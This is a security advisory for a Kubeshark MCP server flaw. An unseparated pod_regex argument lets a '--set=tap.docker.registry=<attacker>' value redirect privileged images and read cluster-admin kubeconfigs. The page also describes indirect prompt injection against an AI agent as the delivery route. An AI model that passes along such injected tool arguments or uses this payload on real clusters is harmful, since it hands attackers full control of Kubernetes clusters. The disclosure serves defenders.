GITHUB.COM/KUBESHARK/KUBESHARK · CVE-2026-129236 · AI agents & MCP
FIX → 0.0.2-0.20260812200004-a76a1920dc75
The Kubeshark MCP tool start_kubeshark passes a caller-supplied pod_regex to the kubeshark tap command without an end-of-options separator, so a value starting with --set can override Helm settings such as the image registry and tag. An attacker-controlled image then runs privileged on cluster nodes, giving cluster-admin access to the kubeconfigs on the host.
first public Aug 13, 2026 · 2 sources
Check it with your coding agent
It reads this page and tells you if your code or app is affected.
Teams that run the Kubeshark MCP server (kubeshark mcp with --allow-destructive) on a host that holds a kubeconfig able to deploy the privileged Kubeshark DaemonSet, where an AI agent may ingest untrusted content. Hosts that do not run the MCP command, or run it without --allow-destructive, are not exposed through this tool.
Not affected if kubeshark-before-v53.1.0, no-allow-destructive, no-mcp-server
Who cares ai-agents, go, kubernetes, kubeshark, mcp
kubeshark version; affected builds are from v53.1.0 up to but not including v53.4.0.--allow-destructive by reviewing the kubeshark mcp command line or agent MCP config.github.com/kubeshark/kubeshark appears in a go.mod at a version before 0.0.2-0.20260812200004-a76a1920dc75.Ecosystem / package: Go — github.com/kubeshark/kubeshark (the kubeshark
CLI, kubeshark mcp subcommand)
Affected component: cmd/mcpRunner.go, MCP tool start_kubeshark
Affected versions: >= v53.1.0, < v53.4.0 (the flaw shipped with the MCP
command's first release; v53.3.0 was the last affected release)
Patched version: v53.4.0
Credit: novice-22 (Urim), via private coordinated disclosure.
The start_kubeshark MCP tool builds a kubeshark tap command by appending the
caller-supplied pod_regex as a bare positional argument, with no --
end-of-options separator. Because is a cobra command, a that
begins with / is parsed as a , not as the pod regex. An
attacker who can influence the tool arguments (e.g. indirect prompt injection
against an agent driving ) can inject
arbitrary Helm value overrides — notably /
— redirecting the deployed worker/hub/front images to an
attacker-controlled registry. The worker DaemonSet runs privileged with
and the host filesystem mounted, so an attacker image yields node
and cluster-admin compromise.
Are you affected?
Ask from here. InfraStack checks the affected versions against your stack and answers in your inbox.
InfraStack checks the affected versions against your stack and answers in Slack, with the evidence and the fix.
InfraStack checks it against your stack and answers on your report, with the evidence and the fix.
Upgrade to 0.0.2-0.20260812200004-a76a1920dc75
github.com/kubeshark/kubeshark): move to v53.4.0 or to the pseudo-version 0.0.2-0.20260812200004-a76a1920dc75.tappod_regex---set=kubeshark mcp --allow-destructive--settap.docker.registrytap.docker.taghostNetworkCommit 0bbbb473 — "[1] Add MCP (Model Context Protocol) server command
(#1832)", 2026-02-06 — first released in v53.1.0 (v53.1.0~23). The
pod_regex argument has been appended as a bare positional since the tool's
introduction; there is no regression window, every MCP-capable release is
affected.
In callStartKubeshark (cmd/mcpRunner.go), the command was built as
["tap", <pod_regex>, "-n", …, "--set", …, "--set", "headless=true"] with
pod_regex inserted as a raw element. cobra parses flags positionally-agnostic
and there was no -- guard, so pod_regex="--set=tap.docker.registry=…,tap.docker.tag=…"
became a real --set. The tool is only registered when
kubeshark mcp --allow-destructive is set.
Driving kubeshark mcp --allow-destructive: start_kubeshark with
pod_regex="--set=tap.docker.registry=<attacker>,tap.docker.tag=<tag>" caused
the CLI to construct kubeshark tap --set=… --set headless=true, deploying an
attacker image. The image ran as root inside the privileged worker container and
read the host's cluster-admin kubeconfigs
(/etc/kubernetes/super-admin.conf, admin.conf, pki/) — i.e. cluster-admin
takeover from a single pod_regex value.
Full Kubernetes cluster compromise (cluster-admin) from a single injected tool
argument, when the operator runs the MCP server with --allow-destructive.
Kubeshark scores this 7.2 High, down from the reporter's 8.3, on two metrics. The
impact half of the vector (S:C/C:H/I:H/A:H) is unchanged — cluster-admin
takeover is real and Kubeshark does not contest it.
AV:N → AV:L. kubeshark mcp is a local stdio MCP server with no
network listener. The attacker's payload reaches it as content an agent
running on that host ingested and replayed into a local tool call. The
poisoned content may have travelled over a network, but the exploited
interface is local.PR:N → PR:H. Two administrative preconditions must already hold on the
target host: the operator must have started the MCP server with the explicit,
non-default --allow-destructive flag (without it start_kubeshark is not
registered at all), and that host must already hold a kubeconfig with
permission to deploy the privileged Kubeshark DaemonSet. The attacker is
borrowing an existing high-privilege context, not gaining one.Kubeshark kept AC:H (the injection must land in content the agent ingests, and
the attacker must stand up a malicious registry/image), UI:R (an operator
must be actively driving the agent), and S:C (the compromise crosses from
the CLI's authorization scope into the Kubernetes cluster — this is what keeps
the score in the High band).
In cmd/mcpRunner.go: pod_regex is now appended last, after a
literal -- end-of-options separator, so it is always parsed as the
[POD REGEX] positional and can never be interpreted as a flag. (namespaces /
release_namespace are passed through -n / -s value flags, which consume
their value token and are therefore not injectable.)
kubeshark mcp with --allow-destructive unless required.This page as .md · .json · CVSS:3.1/AV:L/AC:H/PR:H/UI:R/S:C/C:H/I:H/A:H
NVD data is provided by NIST and is public domain · GitHub Advisory Database, CC-BY 4.0. Posts quoted belong to their authors.